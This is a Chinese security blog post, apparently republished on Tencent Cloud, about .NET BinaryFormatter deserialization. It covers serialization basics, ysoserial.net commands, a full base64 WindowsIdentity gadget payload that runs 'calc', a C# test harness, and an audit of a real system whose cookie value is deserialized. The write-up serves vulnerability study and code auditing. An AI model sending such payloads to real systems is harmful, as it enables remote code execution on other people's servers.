前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >代码审计-.NET下的序列化与反序列化(BinaryFormatter)

代码审计-.NET下的序列化与反序列化(BinaryFormatter)

原创
作者头像
重生信息安全
修改2020-10-15 17:56:50
1.3K0
修改2020-10-15 17:56:50
举报
文章被收录于专栏:重生信息安全重生信息安全
作者:远海
前言

本文将介绍BinaryFormatter序列化与反序列化漏洞的原理以及实际应用场景中的代码审计。

之前本博客就有发表过多篇NET反序列化漏洞的文章:

JavaScriptSerializer:https://www.websecuritys.cn/archives/136.html

Json.Net: https://www.websecuritys.cn/archives/netxlh-1.html

JavaScriptSerializer和Json.Net要想在反序列化过程中执行命令,都需要一些特定条件。

如:

JavaScriptSerializer (需实例化SimpleTypeResolver类)

示例代码:

代码语言:javascript
复制
JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver());

Json.Net (需重写TypeNameHandling,不为None)

示例代码:

代码语言:javascript
复制
Object js = JsonConvert.DeserializeObject(json,new JsonSerializerSettings {TypeNameHandling=TypeNameHandling.All });

以上条件,在实际应用场景中,并不常见。

相比BinaryFormatter,就不需要这么麻烦了。

序列化的实现
序列化:

序列化是将对象状态转换为可保持或传输的形式的过程.

1.先声明一个class类。

代码语言:javascript
复制
public class testdemo    {    public string name;    public int age;    }

类中定义两个变量,nameage

使用BinaryFormatter进行序列化

需要先引入System.Runtime.Serialization.Formatters.Binary;

使用Serialize方法来进行序列化

完整代码:

代码语言:javascript
复制
using Evan.Encrypt;using Newtonsoft.Json.Linq;using NPOI.SS.Formula.Functions;using System;using System.IO;using System.Runtime.Serialization.Formatters.Binary;using System.Runtime.Serialization.Json;using System.Text;
namespace ConsoleApp9{  class Program  {
    static void Main(string[] args)    {      testdemo ts = new testdemo();      ts.name = "yuanhai";      ts.age = 18;      BinaryFormatter fs = new BinaryFormatter();      FileStream st = new FileStream(@"D:\test.dat", FileMode.Create);      fs.Serialize(st, ts);      st.Close();      Console.ReadKey();
    }  }
  [Serializable]  public class testdemo    {    public string name;    public int age;    }}

转换后的数据格式如下:

反序列化的实现
反序列化:

序列化的补集是反序列化,后者将流转换为对象。这两个过程一起保证能够存储和传输数据。

BinaryFormatter提供了4个不同反序列化方法,分别是Deserialize、DeserializeMethodResponse、UnsafeDeserialize、UnsafeDeserializeMethodResponse。这里只对Deserialize进行演示。

1.将刚刚序列化过后的内容进行反序列化。

完整代码:

代码语言:javascript
复制
using Evan.Encrypt;using Newtonsoft.Json.Linq;using NPOI.SS.Formula.Functions;using System;using System.IO;using System.Runtime.Serialization.Formatters.Binary;using System.Runtime.Serialization.Json;using System.Text;
namespace ConsoleApp9{  class Program  {
    static void Main(string[] args)    {      testdemo ts = new testdemo();      ts.name = "yuanhai";      ts.age = 18;      BinaryFormatter fs = new BinaryFormatter();      FileStream st = new FileStream(@"D:\test.dat", FileMode.Create);      fs.Serialize(st, ts);      st.Close();
      BinaryFormatter fs1 = new BinaryFormatter();      FileStream st1 = new FileStream(@"D:\test.dat", FileMode.Open);      var result = fs1.Deserialize(st1);      Console.WriteLine(((testdemo)result).name);      Console.ReadKey();      Console.ReadKey();
    }  }
  [Serializable]  public class testdemo    {    public string name;    public int age;    }}
反序列化漏洞的触发:

BinaryFormatter和SoapFormatter 一样。不需要其他硬性条件。如(Json.Net需重写TypeNameHandling不为None)

因为其最终都继承了IFormatter

反序列化漏洞复现:

使用ysoserial.net 生成Payload

代码语言:javascript
复制
./ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o raw -c "calc" -t > D:\test.dat

将Payload存储到D盘下的test.dat文件。

然后使用FileStream读取该文件的内容进行反序列化。

这里就使用base64进行转码实现。

代码语言:javascript
复制
./ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "calc" -t

Payload:

代码语言:javascript
复制
AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAArBdBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUVsVGVYTjBaVzBzSUZabGNuTnBiMjQ5TkM0d0xqQXVNQ3dnUTNWc2RIVnlaVDF1WlhWMGNtRnNMQ0JRZFdKc2FXTkxaWGxVYjJ0bGJqMWlOemRoTldNMU5qRTVNelJsTURnNUJRRUFBQUNFQVZONWMzUmxiUzVEYjJ4c1pXTjBhVzl1Y3k1SFpXNWxjbWxqTGxOdmNuUmxaRk5sZEdBeFcxdFRlWE4wWlcwdVUzUnlhVzVuTENCdGMyTnZjbXhwWWl3Z1ZtVnljMmx2YmowMExqQXVNQzR3TENCRGRXeDBkWEpsUFc1bGRYUnlZV3dzSUZCMVlteHBZMHRsZVZSdmEyVnVQV0kzTjJFMVl6VTJNVGt6TkdVd09EbGRYUVFBQUFBRlEyOTFiblFJUTI5dGNHRnlaWElIVm1WeWMybHZiZ1ZKZEdWdGN3QURBQVlJalFGVGVYTjBaVzB1UTI5c2JHVmpkR2x2Ym5NdVIyVnVaWEpwWXk1RGIyMXdZWEpwYzI5dVEyOXRjR0Z5WlhKZ01WdGJVM2x6ZEdWdExsTjBjbWx1Wnl3Z2JYTmpiM0pzYVdJc0lGWmxjbk5wYjI0OU5DNHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajFpTnpkaE5XTTFOakU1TXpSbE1EZzVYVjBJQWdBQUFBSUFBQUFKQXdBQUFBSUFBQUFKQkFBQUFBUURBQUFBalFGVGVYTjBaVzB1UTI5c2JHVmpkR2x2Ym5NdVIyVnVaWEpwWXk1RGIyMXdZWEpwYzI5dVEyOXRjR0Z5WlhKZ01WdGJVM2x6ZEdWdExsTjBjbWx1Wnl3Z2JYTmpiM0pzYVdJc0lGWmxjbk5wYjI0OU5DNHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajFpTnpkaE5XTTFOakU1TXpSbE1EZzVYVjBCQUFBQUMxOWpiMjF3WVhKcGMyOXVBeUpUZVhOMFpXMHVSR1ZzWldkaGRHVlRaWEpwWVd4cGVtRjBhVzl1U0c5c1pHVnlDUVVBQUFBUkJBQUFBQUlBQUFBR0JnQUFBQWN2WXlCallXeGpCZ2NBQUFBRFkyMWtCQVVBQUFBaVUzbHpkR1Z0TGtSbGJHVm5ZWFJsVTJWeWFXRnNhWHBoZEdsdmJraHZiR1JsY2dNQUFBQUlSR1ZzWldkaGRHVUhiV1YwYUc5a01BZHRaWFJvYjJReEF3TURNRk41YzNSbGJTNUVaV3hsWjJGMFpWTmxjbWxoYkdsNllYUnBiMjVJYjJ4a1pYSXJSR1ZzWldkaGRHVkZiblJ5ZVM5VGVYTjBaVzB1VW1WbWJHVmpkR2x2Ymk1TlpXMWlaWEpKYm1adlUyVnlhV0ZzYVhwaGRHbHZia2h2YkdSbGNpOVRlWE4wWlcwdVVtVm1iR1ZqZEdsdmJpNU5aVzFpWlhKSmJtWnZVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjZ2tJQUFBQUNRa0FBQUFKQ2dBQUFBUUlBQUFBTUZONWMzUmxiUzVFWld4bFoyRjBaVk5sY21saGJHbDZZWFJwYjI1SWIyeGtaWElyUkdWc1pXZGhkR1ZGYm5SeWVRY0FBQUFFZEhsd1pRaGhjM05sYldKc2VRWjBZWEpuWlhRU2RHRnlaMlYwVkhsd1pVRnpjMlZ0WW14NURuUmhjbWRsZEZSNWNHVk9ZVzFsQ20xbGRHaHZaRTVoYldVTlpHVnNaV2RoZEdWRmJuUnllUUVCQWdFQkFRTXdVM2x6ZEdWdExrUmxiR1ZuWVhSbFUyVnlhV0ZzYVhwaGRHbHZia2h2YkdSbGNpdEVaV3hsWjJGMFpVVnVkSEo1QmdzQUFBQ3dBbE41YzNSbGJTNUdkVzVqWUROYlcxTjVjM1JsYlM1VGRISnBibWNzSUcxelkyOXliR2xpTENCV1pYSnphVzl1UFRRdU1DNHdMakFzSUVOMWJIUjFjbVU5Ym1WMWRISmhiQ3dnVUhWaWJHbGpTMlY1Vkc5clpXNDlZamMzWVRWak5UWXhPVE0wWlRBNE9WMHNXMU41YzNSbGJTNVRkSEpwYm1jc0lHMXpZMjl5YkdsaUxDQldaWEp6YVc5dVBUUXVNQzR3TGpBc0lFTjFiSFIxY21VOWJtVjFkSEpoYkN3Z1VIVmliR2xqUzJWNVZHOXJaVzQ5WWpjM1lUVmpOVFl4T1RNMFpUQTRPVjBzVzFONWMzUmxiUzVFYVdGbmJtOXpkR2xqY3k1UWNtOWpaWE56TENCVGVYTjBaVzBzSUZabGNuTnBiMjQ5TkM0d0xqQXVNQ3dnUTNWc2RIVnlaVDF1WlhWMGNtRnNMQ0JRZFdKc2FXTkxaWGxVYjJ0bGJqMWlOemRoTldNMU5qRTVNelJsTURnNVhWMEdEQUFBQUV0dGMyTnZjbXhwWWl3Z1ZtVnljMmx2YmowMExqQXVNQzR3TENCRGRXeDBkWEpsUFc1bGRYUnlZV3dzSUZCMVlteHBZMHRsZVZSdmEyVnVQV0kzTjJFMVl6VTJNVGt6TkdVd09Ea0tCZzBBQUFCSlUzbHpkR1Z0TENCV1pYSnphVzl1UFRRdU1DNHdMakFzSUVOMWJIUjFjbVU5Ym1WMWRISmhiQ3dnVUhWaWJHbGpTMlY1Vkc5clpXNDlZamMzWVRWak5UWXhPVE0wWlRBNE9RWU9BQUFBR2xONWMzUmxiUzVFYVdGbmJtOXpkR2xqY3k1UWNtOWpaWE56Qmc4QUFBQUZVM1JoY25RSkVBQUFBQVFKQUFBQUwxTjVjM1JsYlM1U1pXWnNaV04wYVc5dUxrMWxiV0psY2tsdVptOVRaWEpwWVd4cGVtRjBhVzl1U0c5c1pHVnlCd0FBQUFST1lXMWxERUZ6YzJWdFlteDVUbUZ0WlFsRGJHRnpjMDVoYldVSlUybG5ibUYwZFhKbENsTnBaMjVoZEhWeVpUSUtUV1Z0WW1WeVZIbHdaUkJIWlc1bGNtbGpRWEpuZFcxbGJuUnpBUUVCQVFFQUF3Z05VM2x6ZEdWdExsUjVjR1ZiWFFrUEFBQUFDUTBBQUFBSkRnQUFBQVlVQUFBQVBsTjVjM1JsYlM1RWFXRm5ibTl6ZEdsamN5NVFjbTlqWlhOeklGTjBZWEowS0ZONWMzUmxiUzVUZEhKcGJtY3NJRk41YzNSbGJTNVRkSEpwYm1jcEJoVUFBQUErVTNsemRHVnRMa1JwWVdkdWIzTjBhV056TGxCeWIyTmxjM01nVTNSaGNuUW9VM2x6ZEdWdExsTjBjbWx1Wnl3Z1UzbHpkR1Z0TGxOMGNtbHVaeWtJQUFBQUNnRUtBQUFBQ1FBQUFBWVdBQUFBQjBOdmJYQmhjbVVKREFBQUFBWVlBQUFBRFZONWMzUmxiUzVUZEhKcGJtY0dHUUFBQUN0SmJuUXpNaUJEYjIxd1lYSmxLRk41YzNSbGJTNVRkSEpwYm1jc0lGTjVjM1JsYlM1VGRISnBibWNwQmhvQUFBQXlVM2x6ZEdWdExrbHVkRE15SUVOdmJYQmhjbVVvVTNsemRHVnRMbE4wY21sdVp5d2dVM2x6ZEdWdExsTjBjbWx1WnlrSUFBQUFDZ0VRQUFBQUNBQUFBQVliQUFBQWNWTjVjM1JsYlM1RGIyMXdZWEpwYzI5dVlERmJXMU41YzNSbGJTNVRkSEpwYm1jc0lHMXpZMjl5YkdsaUxDQldaWEp6YVc5dVBUUXVNQzR3TGpBc0lFTjFiSFIxY21VOWJtVjFkSEpoYkN3Z1VIVmliR2xqUzJWNVZHOXJaVzQ5WWpjM1lUVmpOVFl4T1RNMFpUQTRPVjFkQ1F3QUFBQUtDUXdBQUFBSkdBQUFBQWtXQUFBQUNncz0L

测试代码:

代码语言:javascript
复制
using Evan.Encrypt;using Newtonsoft.Json.Linq;using NPOI.SS.Formula.Functions;using System;using System.IO;using System.Runtime.Serialization.Formatters.Binary;using System.Runtime.Serialization.Json;using System.Text;
namespace ConsoleApp9{    class Program    {
        static void Main(string[] args)        {            string text = "Payload";
            byte[] buffer = Convert.FromBase64String(text);            Object sss = new BinaryFormatter().Deserialize(new MemoryStream(buffer, 0, buffer.Length));            Console.ReadKey();
        }    }}

实现结果:

这里虽然提示错误,但是命令可以正常执行。在WEB中,也会显示500错误。

实际场景中的代码审计:

在对某系统进行审计时,在某方法中发现BinaryFormatter().Deserialize反序列化漏洞

该处方法为GetCookie疑似获取Cookie。

在查找中,最终发现某地址调用了该方法:

其中反序列化的值为获取Cookie中的某键。

那么,可以构造Payload:

由于最终获取到的是Base64。

那么传入进来的也需要进行base64加密

代码语言:javascript
复制
./ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "calc" -t

这里简单的测试下dnslog

像目标地址发送Payload:

得到结果,证明漏洞存在:

内网渗透高阶特训营于10.19号开班,还没有来得及报名的同学可以添加微信:hacker-10086 进行咨询。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 作者:远海
  • 前言
  • 序列化的实现
    • 序列化:
    • 反序列化的实现
      • 反序列化:
      • 反序列化漏洞的触发:
      • 反序列化漏洞复现:
      • 实际场景中的代码审计:
      相关产品与服务
      文件存储
      文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档